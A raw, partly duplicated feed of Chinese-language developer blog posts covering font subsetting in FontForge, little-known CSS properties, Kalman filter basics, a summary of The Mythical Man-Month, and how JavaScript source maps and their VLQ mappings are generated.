接著依照正確姿勢二的方式,匯入此執行檔,FontForge 就會產生只包含我們想要的字圖的字型檔了!:
不過因為刪掉的字圖很多,我們可以進一步透過 FontForge 的壓縮功能來輔助我們檢視成品:
剛執行完 script 後,畫面會停留在 select 所有其他你不要的字圖的狀態,你可以先隨便點選空白處 deselect 所有字圖,然後選擇 Encoding -> Compact
:
就能清楚看到整個檔案的確只剩下我們所選的字圖(以上面範例 script 來說就是 123招待コード
)。
最後步驟就是產生字型檔案,點選 File -> Generate Fonts...
,然後看你要 export 成什麼格式,如果是網頁上要用,當然就推薦使用 woff
:
按下 Generate
後可能會出現 Error,可以不用理他,繼續 generate:
這樣就大功告成了!
(註:關掉 FontForge 時,記得選 Don't Save
,不然會蓋掉原始的檔案喔!)
這個方式可以用在各種字體檔案,非常方便,對於靜態頁面上內容文字不太會變動的狀況下,利用這個技巧可以大幅降低需要載入的檔案大小,以我公司專案的例子來說,從原本 2.6MB 的 tff 檔案,最後可以變成 8KB 的 woff 檔案,省下的大小很可觀的。
簡單的筆記,希望對大家有幫助!
CSS 寫一陣子之後,大家對於常見的屬性應該都很熟了,例如說最基本的 display、position、padding、margin、border、background 等等,在寫 CSS 的時候不需要特別查什麼東西,很順的就可以寫出來。
這些屬性之所以常見,是因為許多地方都用得到所以常見,而有些 CSS 屬性只能使用在某些特定地方,或者是只有某個特定的情境之下才會出現。我很常會忘記這些沒那麼常用到的屬性,但在某些時候這些屬性其實特別重要。
因此這篇想來介紹一些我覺得不太好記但是卻很好用的 CSS 屬性,也是順便幫自己留個筆記。
比起 border,outline 是一個比較少出現的屬性,但這邊要特別提的是在 input 上的應用。瀏覽器預設的行為中,當你 focus 到 input 時外層會出現藍色的一圈:
那個藍色的就是 outline,可以透過 Chrome devtool 證實這件事:
所以如果不想要 outline 或是想改顏色,就用 outline 這個屬性去改就行了。
然後 focus 之後會出現的那個一直閃的那一根 | 叫做 caret,如果想改變顏色的話可以用 caret-color 這屬性去改:
我記得在手機上點擊一些東西的時候會出現一個藍色的外框還什麼之類的,但我剛剛怎麼試都沒有試出來,總之對應的屬性叫做 -webkit-tap-highlight-color
,用這關鍵字查應該可以查到一些其他文章跟範例。
不知道怎麼明確形容這個,直接上圖:
在手機上的時候有時候可以滑出超過頁面,就會看到背景的白色,或者是有些瀏覽器會有下拉重整的功能,當你在頁面最頂端還往下拉的時候就會變成重新整理。
如果想阻止這個行為,可以用 overscroll-behavior
這個屬性。
更詳細的介紹可以參考:Take control of your scroll: customizing pull-to-refresh and overflow effects
有許多網站都有一個功能,最常見的是部落格,在右側可能會出現文章的每一個段落標題,點下去之後就可以快速捲動到那個段落去。
如果什麼都沒有設定的話,就是點下去直接跳到那邊。但有一種東西叫做平滑捲動(smooth scroll),中間會有一些過場,會讓使用者知道是捲到那邊去的。
很久以前這功能可能需要 JS,但現在可以用 CSS 的 scroll-behavior: smooth;
來搞定(底下範例取自 MDN):
許多網站都有捲到最底下的時候自動載入更多的功能,在載入更多的時候,你會預期使用者還是停留在同一個位置,不會因為載入更多就自動把捲軸往下捲之類的。
但有時候瀏覽器預設的處理方式不如預期,有可能你載入更多元素的時候,畫面並沒有停留在你想像中的位置。
這時候可以用 overflow-anchor
這個 CSS 屬性來調整這個行為,細節可以參考:CSS overflow-anchor属性与滚动锚定
有時候我們會需要一個效果是使用者輕輕滑一下,就直接滑到下一個元素,而不是滑到任意地方,這可以透過 scroll-snap
相關的屬性來達成,像是這樣:
這感覺要做 carousel 的時候應該滿好用的,想看更多用法可以參考:Practical CSS Scroll Snapping,上面的範例也是來自於這篇文章。
這應該不少人知道,在手機上面的點擊事件會有個大約 300ms 的 delay,也就是說你點下去之後要等 300ms 才會觸發 click 事件。會有這個 delay 是因為在手機上你可以雙擊來放大畫面 zoom in,所以在你點第一次的時候,瀏覽器不知道你是要點兩次還是只點一次,因此需要等一段時間。
這個 delay 在之前好像就已經被拔掉了,但如果你發現還有的話,可以用 touch-action: manipulation
這個 CSS 屬性來解決,這屬性可以設置停用一些手勢。
更多詳情可以參考 MDN,或者是這篇文章:300ms tap delay, gone away。
順帶一提,我是在 Facebook 的網站看到這個 CSS 屬性的。
我是在 Create React App 預設的 css 裡面看到這個屬性的:
body {
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
實際上在許多網站也可以發現這兩個屬性,查了一下發現是跟字體的渲染有關,例如說 antialiased 其實就是大家應該都聽過的「反鋸齒」。可以自己決定要用什麼方式來渲染字體。
更多細節可以參考:
這篇簡單筆記一些我覺得比較難記的 CSS 屬性,因為不會很頻繁地去使用,所以等到真的要用的時候很容易忘記屬性名稱,如果關鍵字下得不對的話,很難找到這個屬性叫什麼。
會想寫這篇的原因之一也是因為有個朋友來問我某個行為怎麼解,原本以為無解或是一定要用 JS,後來發現用 CSS 其實就可以解了。因為知道那個屬性所以才解得出來,所以平時多看一些 CSS 屬性是很有幫助的,至少碰到問題的時候你會知道可以用 CSS 來解。
如果你也知道一些這類型的 CSS 屬性,歡迎分享給我。
]]>CSS 寫一陣子之後,大家對於常見的屬性應該都很熟了,例如說最基本的 display、position、padding、margin、border、background 等等,在寫 CSS 的時候不需要特別查什麼東西,很順的就可以寫出來。
這些屬性之所以常見,是因為許多地方都用得到所以常見,而有些 CSS 屬性只能使用在某些特定地方,或者是只有某個特定的情境之下才會出現。我很常會忘記這些沒那麼常用到的屬性,但在某些時候這些屬性其實特別重要。
因此這篇想來介紹一些我覺得不太好記但是卻很好用的 CSS 屬性,也是順便幫自己留個筆記。
比起 border,outline 是一個比較少出現的屬性,但這邊要特別提的是在 input 上的應用。瀏覽器預設的行為中,當你 focus 到 input 時外層會出現藍色的一圈:
那個藍色的就是 outline,可以透過 Chrome devtool 證實這件事:
所以如果不想要 outline 或是想改顏色,就用 outline 這個屬性去改就行了。
然後 focus 之後會出現的那個一直閃的那一根 | 叫做 caret,如果想改變顏色的話可以用 caret-color 這屬性去改:
我記得在手機上點擊一些東西的時候會出現一個藍色的外框還什麼之類的,但我剛剛怎麼試都沒有試出來,總之對應的屬性叫做 -webkit-tap-highlight-color
,用這關鍵字查應該可以查到一些其他文章跟範例。
不知道怎麼明確形容這個,直接上圖:
在手機上的時候有時候可以滑出超過頁面,就會看到背景的白色,或者是有些瀏覽器會有下拉重整的功能,當你在頁面最頂端還往下拉的時候就會變成重新整理。
如果想阻止這個行為,可以用 overscroll-behavior
這個屬性。
更詳細的介紹可以參考:Take control of your scroll: customizing pull-to-refresh and overflow effects
有許多網站都有一個功能,最常見的是部落格,在右側可能會出現文章的每一個段落標題,點下去之後就可以快速捲動到那個段落去。
如果什麼都沒有設定的話,就是點下去直接跳到那邊。但有一種東西叫做平滑捲動(smooth scroll),中間會有一些過場,會讓使用者知道是捲到那邊去的。
很久以前這功能可能需要 JS,但現在可以用 CSS 的 scroll-behavior: smooth;
來搞定(底下範例取自 MDN):
許多網站都有捲到最底下的時候自動載入更多的功能,在載入更多的時候,你會預期使用者還是停留在同一個位置,不會因為載入更多就自動把捲軸往下捲之類的。
但有時候瀏覽器預設的處理方式不如預期,有可能你載入更多元素的時候,畫面並沒有停留在你想像中的位置。
這時候可以用 overflow-anchor
這個 CSS 屬性來調整這個行為,細節可以參考:CSS overflow-anchor属性与滚动锚定
有時候我們會需要一個效果是使用者輕輕滑一下,就直接滑到下一個元素,而不是滑到任意地方,這可以透過 scroll-snap
相關的屬性來達成,像是這樣:
這感覺要做 carousel 的時候應該滿好用的,想看更多用法可以參考:Practical CSS Scroll Snapping,上面的範例也是來自於這篇文章。
這應該不少人知道,在手機上面的點擊事件會有個大約 300ms 的 delay,也就是說你點下去之後要等 300ms 才會觸發 click 事件。會有這個 delay 是因為在手機上你可以雙擊來放大畫面 zoom in,所以在你點第一次的時候,瀏覽器不知道你是要點兩次還是只點一次,因此需要等一段時間。
這個 delay 在之前好像就已經被拔掉了,但如果你發現還有的話,可以用 touch-action: manipulation
這個 CSS 屬性來解決,這屬性可以設置停用一些手勢。
更多詳情可以參考 MDN,或者是這篇文章:300ms tap delay, gone away。
順帶一提,我是在 Facebook 的網站看到這個 CSS 屬性的。
我是在 Create React App 預設的 css 裡面看到這個屬性的:
body {
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
實際上在許多網站也可以發現這兩個屬性,查了一下發現是跟字體的渲染有關,例如說 antialiased 其實就是大家應該都聽過的「反鋸齒」。可以自己決定要用什麼方式來渲染字體。
更多細節可以參考:
這篇簡單筆記一些我覺得比較難記的 CSS 屬性,因為不會很頻繁地去使用,所以等到真的要用的時候很容易忘記屬性名稱,如果關鍵字下得不對的話,很難找到這個屬性叫什麼。
會想寫這篇的原因之一也是因為有個朋友來問我某個行為怎麼解,原本以為無解或是一定要用 JS,後來發現用 CSS 其實就可以解了。因為知道那個屬性所以才解得出來,所以平時多看一些 CSS 屬性是很有幫助的,至少碰到問題的時候你會知道可以用 CSS 來解。
如果你也知道一些這類型的 CSS 屬性,歡迎分享給我。
]]>Kalman filter 在非常多需要 estimation 的問題中都會用到,例如自駕車、Video Stabilization(結合 Gyroscope 跟 Camera) 跟許許多多結合多感測器的應用中都會用到。它的第一個應用在 1960 年代,用在美國登月的阿波羅計畫,非常的威猛,今天就從一個挺簡單的學習資源(見延伸閱讀一)來學習,把筆記寫下來。
Kalman filter 主要用在兩種情況:
這個影片說明了 Kalman filter 第一種的使用情境:沒有辦法直接測量到自己想量的變數,只能量到間接的變數。
這邊一樣用測量火箭推進噴射口的溫度為例,因為我們不能把 sensor 放在噴射口內(會融化),所以無法量測到噴射口內的溫度 T_in,只能測量噴射口外的溫度 T_ext:
假設我們對這個系統有建立一個數學模型,就可以透過輸入的燃料量 - W_fuel,來計算 T_ext 的估計值 - T_ext_hat,同時也假設這個數學模型可以估計出內部的溫度 T_in_hat。
接下來的目標,就是希望可以減少量測值 T_ext 跟估計值 T_ext_hat 的差別,這樣就能減少 T_in_hat 跟實際的內部溫度 T_in 的差別:
想要 minimize T_in-T_in_hat 的概念,其實就已經接到了 feedback control,我們可以用一個簡單的 gain K,讓 T_ext-T_ext_hat 乘上一個 K,表示 T_in-T_in_hat 的誤差,使得 T_in-T_in_hat 的誤差可以縮小。概念上就是,既然我們只量得到 T_ext-T_ext_hat,那就想辦法用 T_ext-T_ext_hat 來當作縮小 T_in-T_in_hat 的本錢。當然這邊有個重要的假設,就是 K * (T_ext-T_ext_hat) 可以 model
如果把 W_fuel generalize 成 u,然後把數學 model 也寫出來(這邊的符號有個地方容易誤解,x_dot 指的是下一個時刻的 x 值,所以 A 描述現在的 x 怎麼傳遞到下一時刻,然後 B 描述 input u 怎麼影響下一時刻的狀態 x_dot),我們就可以推導出數學式:
而只要 A-KC < 0,就能確保 convergence:
我個人對上面的數學細節並沒有很深入去探討,不過影面下方有個留言引起我的注意,有興趣的讀者可以深入研究:
Oversimplification may lead to incorrect information. First : the eigenvalues of A-KC should have negative real parts , not that A-KC should be < 0, this is only true for the trivial uninteresting special case of a single state system . Second: K is a must in cases where the original system is unstable, i.e. A has eigenvalues of positive real parts, otherwise the error signal will grow without bound in the absence of K as the error dynamics is now governed by A . It’s important to point out that observers are also needed in the design of unstable systems.
Dr.Omar El-Ghezawi, the University of Jordan, Amman, Jordan
這個影片說明了 Kalman filter 第二種的使用情境:有一種或多種 sensor,但各種 sensor 都有一些誤差。
假設有個比賽,給你一台有 GPS 的自駕車,要求你在 100 種地形上都跑 1 公里:
輸贏的標準是,100 次綜合起來離 1 公里的目標最近,且 variance 最小的人就贏:
我們先假設輸入 u_k 是要求車要達到的速度,輸出 y_k 是車的位置:
因為 GPS 測量的數據會有誤差,所以需要加上一個 noise v_k。另外汽車移動中也可能遇到輪胎打滑、空氣阻力等影響,所以會有另一個 noise w_k。一般來說,兩者都可以假設是 Gaussian noise。
我們同時也考慮我們對汽車的建模,就可以用我們對汽車的建模得到估計值 x_k_hat,所以目標就是要利用不夠精準的估計值、以及有誤差的測量值,來得到汽車位置的 optimal estimate:
接著讓自駕車開始跑,隨著時間的過去,估計值的可能誤差範圍會漸漸增加(也就是越來越肥的藍色 Gaussian distribution),但幸好我們還有紅色的 measurement。當把兩者的 distribution 相乘,就可以得到灰色的 optimal state estimate。
今天介紹了一個很有用的工具 - Linear Kalman Filter,雖然在現實世界中,大部分的系統都是 Non-linear 的,所以會使用更進階版本的 Kalman Filter,但 Linear Kalman Filter 是非常重要的基礎。
附上另一個簡潔的總結:
Kalman filter 在非常多需要 estimation 的問題中都會用到,例如自駕車、Video Stabilization(結合 Gyroscope 跟 Camera) 跟許許多多結合多感測器的應用中都會用到。它的第一個應用在 1960 年代,用在美國登月的阿波羅計畫,非常的威猛,今天就從一個挺簡單的學習資源(見延伸閱讀一)來學習,把筆記寫下來。
Kalman filter 主要用在兩種情況:
這個影片說明了 Kalman filter 第一種的使用情境:沒有辦法直接測量到自己想量的變數,只能量到間接的變數。
這邊一樣用測量火箭推進噴射口的溫度為例,因為我們不能把 sensor 放在噴射口內(會融化),所以無法量測到噴射口內的溫度 T_in,只能測量噴射口外的溫度 T_ext:
假設我們對這個系統有建立一個數學模型,就可以透過輸入的燃料量 - W_fuel,來計算 T_ext 的估計值 - T_ext_hat,同時也假設這個數學模型可以估計出內部的溫度 T_in_hat。
接下來的目標,就是希望可以減少量測值 T_ext 跟估計值 T_ext_hat 的差別,這樣就能減少 T_in_hat 跟實際的內部溫度 T_in 的差別:
想要 minimize T_in-T_in_hat 的概念,其實就已經接到了 feedback control,我們可以用一個簡單的 gain K,讓 T_ext-T_ext_hat 乘上一個 K,表示 T_in-T_in_hat 的誤差,使得 T_in-T_in_hat 的誤差可以縮小。概念上就是,既然我們只量得到 T_ext-T_ext_hat,那就想辦法用 T_ext-T_ext_hat 來當作縮小 T_in-T_in_hat 的本錢。當然這邊有個重要的假設,就是 K * (T_ext-T_ext_hat) 可以 model
如果把 W_fuel generalize 成 u,然後把數學 model 也寫出來(這邊的符號有個地方容易誤解,x_dot 指的是下一個時刻的 x 值,所以 A 描述現在的 x 怎麼傳遞到下一時刻,然後 B 描述 input u 怎麼影響下一時刻的狀態 x_dot),我們就可以推導出數學式:
而只要 A-KC < 0,就能確保 convergence:
我個人對上面的數學細節並沒有很深入去探討,不過影面下方有個留言引起我的注意,有興趣的讀者可以深入研究:
Oversimplification may lead to incorrect information. First : the eigenvalues of A-KC should have negative real parts , not that A-KC should be < 0, this is only true for the trivial uninteresting special case of a single state system . Second: K is a must in cases where the original system is unstable, i.e. A has eigenvalues of positive real parts, otherwise the error signal will grow without bound in the absence of K as the error dynamics is now governed by A . It’s important to point out that observers are also needed in the design of unstable systems.
Dr.Omar El-Ghezawi, the University of Jordan, Amman, Jordan
這個影片說明了 Kalman filter 第二種的使用情境:有一種或多種 sensor,但各種 sensor 都有一些誤差。
假設有個比賽,給你一台有 GPS 的自駕車,要求你在 100 種地形上都跑 1 公里:
輸贏的標準是,100 次綜合起來離 1 公里的目標最近,且 variance 最小的人就贏:
我們先假設輸入 u_k 是要求車要達到的速度,輸出 y_k 是車的位置:
因為 GPS 測量的數據會有誤差,所以需要加上一個 noise v_k。另外汽車移動中也可能遇到輪胎打滑、空氣阻力等影響,所以會有另一個 noise w_k。一般來說,兩者都可以假設是 Gaussian noise。
我們同時也考慮我們對汽車的建模,就可以用我們對汽車的建模得到估計值 x_k_hat,所以目標就是要利用不夠精準的估計值、以及有誤差的測量值,來得到汽車位置的 optimal estimate:
接著讓自駕車開始跑,隨著時間的過去,估計值的可能誤差範圍會漸漸增加(也就是越來越肥的藍色 Gaussian distribution),但幸好我們還有紅色的 measurement。當把兩者的 distribution 相乘,就可以得到灰色的 optimal state estimate。
今天介紹了一個很有用的工具 - Linear Kalman Filter,雖然在現實世界中,大部分的系統都是 Non-linear 的,所以會使用更進階版本的 Kalman Filter,但 Linear Kalman Filter 是非常重要的基礎。
附上另一個簡潔的總結:
在程式設計和軟體開發的圈子中,有幾本經典的書籍即便在資訊科技快速變遷的時代中仍歷久彌新。這次要為讀者介紹的是人月神話這本書。這本書是軟體工程和軟體專案管理上的經典著作(雖然是 1975 年初次出版,距今已經二三十年前出版的書籍),即便在現今的軟體開發領域仍有極大的影響力。
人月神話這本書的作者 Frederick P. Brooks
是開發 IBM System 360
和 OS/360
等大型系統專案的主要負責人,專案人力投入超過千人,累積數千的人年(man-year
),是非常龐大的大型專案。也因為有過如此龐大專案管理經驗是非常難得的,作者 Brooks 因此透過反思和整理紀錄的方式將大型專案管理常見的問題整理成冊,希望提供軟體開發和專案管理後進一個參考。當然,即便閱讀完本書也不能完全解決實務上在軟體專案開發管理的難題(軟體工程、專案管理是一個跨學門的學科,不單只有技術還有社會科學、心理學和管理學等相關知識),但至少有一個可以參考的方向。接下來本文會摘錄一些書中重要的內容和觀念以及加入筆者個人自己的一些心得進行分享。
不就是寫個程式嗎?有這麼困難?
在開始討論軟體專案管理之前我們先來定義要討論的軟體產品。作者認為一般工程師單獨寫出來給自己用或是可丟棄的是程式(program
)。透過通用化、測試和建立文件後可以成為一個軟體產品(programming product
)。許多的程式元件整合在一起就成為了軟體系統(software system
),具有跨元件和介面等特性(原本個別程式都可以運作,結果整合後卻出現了一堆 bug!)。而同時具備軟體產品和軟體系統特性的就稱為軟體系統產品(software system product
),是我們軟體開發和專案管理最終希望產出給客戶使用的產物。
這也是為什麼軟體開發比你想的複雜的原因之一,根據作者估計,將一般的單獨程式進行產品化所需要的成本是三倍,將程式組織成系統所需要的成本也是三倍。也就是說若要推出一個完整的軟體系統產品(software system product
),所需要投入的成本是一般單獨程式的九倍以上。
學習軟體工程最困難的部分就是要調適自己習慣於追求完美
軟體專案進行不順利的原因或許很多,但絕大部分都是肇因於缺乏良好的時程規劃所致
作者 Brooks 認為軟體開發時程時常有誤差的主要原因在於:
在時程已經落後的軟體專案中增加人手,只會讓它更加落後
在軟體開發領域中有一個特別的現象,那就是頂尖的軟體工程師和普通工程師的生產力有可能有機會相差到十倍以上。若是小型專案,可以透過兩人團隊,其中一位為領導者負責設計規劃架構和主要實作,另外一位為副駕駛協助實作,運用短小精悍的團隊可以產生極大的生產力。
對於大型專案而言,透過即早溝通需求和由少數架構小組進行架構規劃設計並由第三方團隊進行回饋建議。在實作部分則透過一位首席程式設計師為首,組織類似於外科手術團隊的輔佐組織(首席醫師主要操刀加上一群輔助的團隊),可以因為只有少數人擁有決策權兼顧了產品的整體性(conceptual integrity
),也可以因多數人的合作與大幅減少溝通而得到全部人的生產力。
以上簡單整理了人月神話:專案管理之道(The Mythical Man-Month)導讀書摘,接下來筆者會持續透過閱讀分享更多經典的軟體開發和程式設計、專案管理以及產品設計書籍與讀者分享。優秀的開發人員除了持續鑽研技術外,若能持續學習關於軟體人員職涯規劃和經營管理相關知識,將對於開發人員的職業生涯有更多元的選擇機會。若讀者有建議提醒或是新的想法也歡迎一起交流討論!
]]>在程式設計和軟體開發的圈子中,有幾本經典的書籍即便在資訊科技快速變遷的時代中仍歷久彌新。這次要為讀者介紹的是人月神話這本書。這本書是軟體工程和軟體專案管理上的經典著作(雖然是 1975 年初次出版,距今已經二三十年前出版的書籍),即便在現今的軟體開發領域仍有極大的影響力。
人月神話這本書的作者 Frederick P. Brooks
是開發 IBM System 360
和 OS/360
等大型系統專案的主要負責人,專案人力投入超過千人,累積數千的人年(man-year
),是非常龐大的大型專案。也因為有過如此龐大專案管理經驗是非常難得的,作者 Brooks 因此透過反思和整理紀錄的方式將大型專案管理常見的問題整理成冊,希望提供軟體開發和專案管理後進一個參考。當然,即便閱讀完本書也不能完全解決實務上在軟體專案開發管理的難題(軟體工程、專案管理是一個跨學門的學科,不單只有技術還有社會科學、心理學和管理學等相關知識),但至少有一個可以參考的方向。接下來本文會摘錄一些書中重要的內容和觀念以及加入筆者個人自己的一些心得進行分享。
不就是寫個程式嗎?有這麼困難?
在開始討論軟體專案管理之前我們先來定義要討論的軟體產品。作者認為一般工程師單獨寫出來給自己用或是可丟棄的是程式(program
)。透過通用化、測試和建立文件後可以成為一個軟體產品(programming product
)。許多的程式元件整合在一起就成為了軟體系統(software system
),具有跨元件和介面等特性(原本個別程式都可以運作,結果整合後卻出現了一堆 bug!)。而同時具備軟體產品和軟體系統特性的就稱為軟體系統產品(software system product
),是我們軟體開發和專案管理最終希望產出給客戶使用的產物。
這也是為什麼軟體開發比你想的複雜的原因之一,根據作者估計,將一般的單獨程式進行產品化所需要的成本是三倍,將程式組織成系統所需要的成本也是三倍。也就是說若要推出一個完整的軟體系統產品(software system product
),所需要投入的成本是一般單獨程式的九倍以上。
學習軟體工程最困難的部分就是要調適自己習慣於追求完美
軟體專案進行不順利的原因或許很多,但絕大部分都是肇因於缺乏良好的時程規劃所致
作者 Brooks 認為軟體開發時程時常有誤差的主要原因在於:
在時程已經落後的軟體專案中增加人手,只會讓它更加落後
在軟體開發領域中有一個特別的現象,那就是頂尖的軟體工程師和普通工程師的生產力有可能有機會相差到十倍以上。若是小型專案,可以透過兩人團隊,其中一位為領導者負責設計規劃架構和主要實作,另外一位為副駕駛協助實作,運用短小精悍的團隊可以產生極大的生產力。
對於大型專案而言,透過即早溝通需求和由少數架構小組進行架構規劃設計並由第三方團隊進行回饋建議。在實作部分則透過一位首席程式設計師為首,組織類似於外科手術團隊的輔佐組織(首席醫師主要操刀加上一群輔助的團隊),可以因為只有少數人擁有決策權兼顧了產品的整體性(conceptual integrity
),也可以因多數人的合作與大幅減少溝通而得到全部人的生產力。
以上簡單整理了人月神話:專案管理之道(The Mythical Man-Month)導讀書摘,接下來筆者會持續透過閱讀分享更多經典的軟體開發和程式設計、專案管理以及產品設計書籍與讀者分享。優秀的開發人員除了持續鑽研技術外,若能持續學習關於軟體人員職涯規劃和經營管理相關知識,將對於開發人員的職業生涯有更多元的選擇機會。若讀者有建議提醒或是新的想法也歡迎一起交流討論!
]]>只要你是個前端工程師,或是曾經開發過前端專案,相信對 source map 都不陌生,不管你常用的 bundler/generator 工具是什麼,幾乎都有完整的 source map 支援,甚至有各種選項可以配置,但是你知道 source map 的原理嗎?它是怎麼產生的?它又是怎麼幫助我們從 bundler/generator 產生的程式碼中找出對應的原始碼,讓我們方便除錯呢?
這些問題我也不太清楚,雖然大致上的原理稍微思考一下都能夠猜個八九不離十,但對於實際運作細節從來沒有探討過,因此這週末利用了點時間稍微研究一下,記錄在這篇文章跟大家分享。
簡單來說,source map 就是儲存了原始碼與編譯後程式碼的對應關係之檔案,讓你在開啟 Devtool 時,能讓瀏覽器透過載入 source map 的方式幫助你定位原始碼位置,方便下中斷點除錯。
以目前的瀏覽器實作來看,都是只有在打開 Devtool 的時候,才會根據它獲取的 source map url 資訊來載入 source map,不會影響網站載入速度與一般使用者的體驗。
提供瀏覽器 source map url 的方式有兩種,一個是將其寫在編譯後程式碼檔案中,也是大多數現在 bundler/generator 的做法:
parcelRequire=function(e,r,t,n){var i,o="function"==typeof parcelRequire&&parcelRequire,u="function"==typeof require&&require;....
//# sourceMappingURL=file.map.js
另一種則是透過特殊的 http header,讓瀏覽器在 request 你的 javascript 檔案時,能夠從 header 欄位中找到 source map url 資訊:
X-SourceMap: /path/to/file.js.map
順帶一提,Devtool 載入 source map 的 request 並不會出現在 Network panel,所以基本上是看不到的。
這在一般使用情境上是沒什麼影響,但我前陣子有個專案部署到測試環境後,卻發現 source map 載入失敗,這時想要確認原因就麻煩了,翻了翻 chrome devtool 的原始碼,才勉勉強強猜測出是因為 devtool 載入 source map 時,不會因為你在瀏覽器中 simulate mobile mode,而跟著送出 mobile 的 user agent,而該專案的 CDN 有設定會將來自 desktop 的 request 轉到特殊的頁面,因此才導致 dev tool 的 source map 載入失敗。如果能看到載入 source map 的 request,這個問題就能更好的確認與解決了。
Source Map 是有規格的,主要由 Mozilla 與 Google 工程師撰寫,目前最新版本是 version 3,可以在這裡找到。
一個 source map 檔案大概長這樣(這是經過 beatify 後的樣子,通常會是壓縮成一行而已):
{
"version": 3,
"sources": ["logger.ts"],
"names": [],
"mappings": "gBAAgB,EAAE;AA0BA,aAAA,OAAA,eAAA,QAAA,aAAA,CAAA,OAAA,IAvBA,MAAM,...",
"file": "logger.js",
"sourceRoot": "../src",
"sourcesContent": ["/* eslint-disable no-console */\nimport { test } from '...'"]
}
大多數的 bundler/generator 都是使用 Mozilla 的 source-map 套件,或是利用該套件的 API 自己去做一些客製化,像是 Webpack 就是如此。但也有像是 v2 版本的 Parcel,就使用了 C++ 從頭撰寫,號稱效率更高。
實際檔案內容可能根據你所使用的 bundler/generator 會有些許不同,但都會遵照這個規格。
其中最重要的就是 mappings
這個欄位,記錄了編譯前後兩個文件怎麼做對應的資訊。以上面的例子來看:
"mappings": "gBAAgB,EAAE;AA0BA,aAAA,OAAA,eAAA,QAAA,aAAA,CAAA,OAAA,IAvBA,MAAM,...",
mappings 這個字串裡面有三層資訊:
用分號 ;
區隔編譯後程式碼的行,所以第一個分號前的編碼,對應編譯後程式碼的第一行。以上面例子來看,gBAAgB,EAAE
就是對應編譯後程式碼第一行的編碼。
用逗號 ,
隔開的是編譯後程式碼某一行內的某個位置。以上面例子來看,第一行紀錄了兩個位置的對應編碼,gBAAgB
與 EAAE
。 ---(感謝網友 davidhcefx 指正!)
最後是一個 Base64 VLQ 的編碼,解碼後可以得到編譯前原始碼的位置。
VLQ (variable-length quantity)
VLQ 是一種壓縮 large integers 的編碼方式,同樣一個整數,用數字表示一定會消耗比 VLQ 更多的空間。用 Base64 來表達則可以將 VLQ 表示限縮在 ASCII 的子集中,解決一些語言問題。
有興趣深入了解的人可以看看 svelte 的作者 Rich-Harris 的實作,下表範例也是取自其 Readme:
Integer | Base64 VLQ |
---|---|
0 | A |
1 | C |
123 | 2H |
123456789 | qxmvrH |
可以看到以 Base64 VLQ 來表示數字能夠縮減需要的儲存空間。
知道了 source map 是利用 mappings 裡面的 Base64 VLQ 編碼來記錄兩邊程式碼的對應位置關係,我們可以來仔細解析一下 VLQ 的內容,以上面範例中的編碼 EAAE
來看,共有四位數,每一個位數都是一個 Base64 VLQ 編碼,各自代表一個資訊:
四個欄位裡面:
其實還有第五個欄位,代表屬於 source map 檔案中 names
屬性所列的變數中的哪一個,如果 names
為空,這邊就不會產生第五個欄位。
瀏覽器就是透過這些資訊來定位編譯前後程式碼的位置,讓你能輕鬆的除錯。至於瀏覽器怎麼解析跟實際顯示在 devtool 中,就不在今天討論範圍,還得去爬他們的程式碼才行,但我估計也是用到 source-map 套件。
知道了 source map 的內容後,下個問題來了,編譯過程中,是怎麼產生這些資訊,並儲存在 source map file 中的呢?
如果有寫過 babel/eslint plugin 或是讀過 透過製作 Babel-plugin 初訪 AST 與 寫一個簡單堪用的 ESLint plugin的讀者應該對於 AST 有些了解,知道程式碼在轉換的過程中,都會經歷如下的歷程:
AST(Abstract Syntax Tree)中每個 Node 其實都會記載其位置(start 與 end):
基本上就提供了我們 source map 所需的資訊,因此 generate 步驟後,除了產生編譯後的程式碼外,也能順帶產生 source map:
而如同文章前半段所提,大多數 bundler/generator 會用到 mozilla 的 source-map 套件來幫忙在 generate 階段產生 source map,使用方法在其官方 readme 中可以找到,大致上分為兩種:
第一種是 low level API(官方範例)
var map = new SourceMapGenerator({
file: "source-mapped.js"
});
map.addMapping({
generated: {
line: 10,
column: 35
},
source: "foo.js",
original: {
line: 33,
column: 2
},
name: "christopher"
});
console.log(map.toString());
// '{"version":3,"file":"source-mapped.js","sources":["foo.js"],"names":["christopher"],"mappings":";;;;;;;;;mCAgCEA"}'
透過 SourceMapGenerator
告知其編譯後檔案位置,然後手動加入對照的程式碼行與列資訊,source-map 就能幫忙算出 Based64 VLQ 並產生 source map 檔案。這種作法就是要自己額外維護 AST node 中提供的行列資訊,以及原始碼的行列資訊。
第二種是 high level API(官方範例)
function compile(ast) {
switch (ast.type) {
case "BinaryExpression":
return new SourceNode(ast.location.line, ast.location.column, ast.location.source, [
compile(ast.left),
" + ",
compile(ast.right)
]);
case "Literal":
return new SourceNode(ast.location.line, ast.location.column, ast.location.source, String(ast.value));
// ...
default:
throw new Error("Bad AST");
}
}
var ast = parse("40 + 2", "add.js");
console.log(
compile(ast).toStringWithSourceMap({
file: "add.js"
})
);
// { code: '40 + 2',
// map: [object SourceMapGenerator] }
high level API 則是直接應用在 AST 中,透過 SourceNode
來包裹原有的 AST node,將對應編譯前原始碼的資訊附加上去,最後使用 source-map 提供的 toStringWithSourceMap
來輸出原始碼與 source map 檔。
如果你去看 SourceNode
的原始碼,你會發現 toStringWithSourceMap
底層也是呼叫了 low levle API,將整個樹的資訊 concat 起來:
this.walk(function(chunk, original) {
generated.code += chunk;
if (
original.source !== null &&
original.line !== null &&
original.column !== null
) {
if (
lastOriginalSource !== original.source ||
lastOriginalLine !== original.line ||
lastOriginalColumn !== original.column ||
lastOriginalName !== original.name
) {
map.addMapping({
source: original.source,
original: {
line: original.line,
column: original.column
},
generated: {
line: generated.line,
column: generated.column
},
name: original.name
});
}
// 略...
兩種 API 都有人使用,babel 是使用 low level API,而 webpack 則用到了 high level API。
至此我們大致上解析了 source map 的內容,並初步了解他是怎麼生成的,如果想要再繼續研究的話,可以往 source-map 的原始碼鑽研,包含 VLQ 的實作也有,或是 webpack、bable 或 parcel 的原始碼也值得一看。
雖然理解這些原理與否並不影響你開發網站與產品,也不一定能增加你的效率或薪水,但是純粹的學習知識其實也是很快樂的,希望大家看到這邊都能有所收穫!有任何問題歡迎留言指教。
只要你是個前端工程師,或是曾經開發過前端專案,相信對 source map 都不陌生,不管你常用的 bundler/generator 工具是什麼,幾乎都有完整的 source map 支援,甚至有各種選項可以配置,但是你知道 source map 的原理嗎?它是怎麼產生的?它又是怎麼幫助我們從 bundler/generator 產生的程式碼中找出對應的原始碼,讓我們方便除錯呢?
